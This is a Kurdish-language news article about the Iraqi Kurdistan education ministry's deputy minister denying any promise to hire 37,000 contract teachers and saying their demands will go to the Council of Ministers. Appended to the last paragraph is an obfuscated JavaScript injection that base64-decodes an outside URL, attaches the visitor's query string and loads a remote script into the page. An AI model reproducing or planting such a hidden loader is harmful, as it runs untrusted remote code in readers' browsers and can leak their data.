داخوازیێن مامۆستایێن وانەبێژ بۆ سەرۆكایەتیا جڤاتا وەزیران دێ هێنە بلندكرن

هەولێر، قائید میرۆ:

بریكارێ وەزارەتا پەروەردێ رەتكر، سۆز دابیتە مامۆستایێن وانەبێژ بهێنە دامەزراندن و دبێژیت: ب تنێ دێ داخوازیێن وان بۆ دامەزراندنێ گەهینینە سەرۆكایەتیا جڤاتا وەزیران و پشتەڤانیا وان دكەین، بەلێ مە سۆز نەدایە بهێنە دامەزراندن، چونكی دامەزراندنا 37 هزار مامۆستایان د دەستهەلاتا وەزارەتا پەروەردێ دا نینە.
دكتۆر سەیوان عەلی، بریكارێ وەزارەتا پەروەردێ بۆ رۆژناما ئەڤرۆ دیار كر، حەفتیا بۆری نوونەرێن مامۆستایێن وانەبێژ سەرەدانا وەزارەتا پەروەردێ كریە و ب بەرهەڤبوونا وەزیرێ پەروەردێ جڤاتا وەزارەتا پەروەردێ ل گەل نوونەرێن مامۆستایێن وانەبێژ كۆمبوو و گۆت: « د كۆمبوونێ‌ دا ب هووری بەحسێ رەوشا مامۆستایێن وانەبێژ و پرسا دامەزراندنا مامۆستایێن وانەبێژ هاتە كرن، وەزیرێ پەروەردێ داخواز ژ نوونەرێن وانەبێژان كر داخوازەكێ بۆ سەرۆكایەتیا جڤاتا وەزیران بلند بكەن و وەزیر دێ داخوازا وان گەهینیت».
دكتۆر سەیوان عەلی گۆتژی: «وەزارەتا پەروەردێ چو سۆز نەداینە مامۆستایێن وانەبێژ، كو بێنە دامەزراندن، ب تنێ دێ داخوازیێن وان گەهینینە سەرۆكایەتیا جڤاتا وەزیران و دێ پشتەڤانیا وان كەین، چونكی دامەزراندنا 37 هزار مامۆستایێن وانەبێژ د دەستهەلاتا وەزیرێ پەروەردێ دا نینە، پیدڤیە ئاریشەیا وان بهێتە چارەسەركرن، بەلێ د ڤێت رێكارێن چارەسەریێ هەبن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە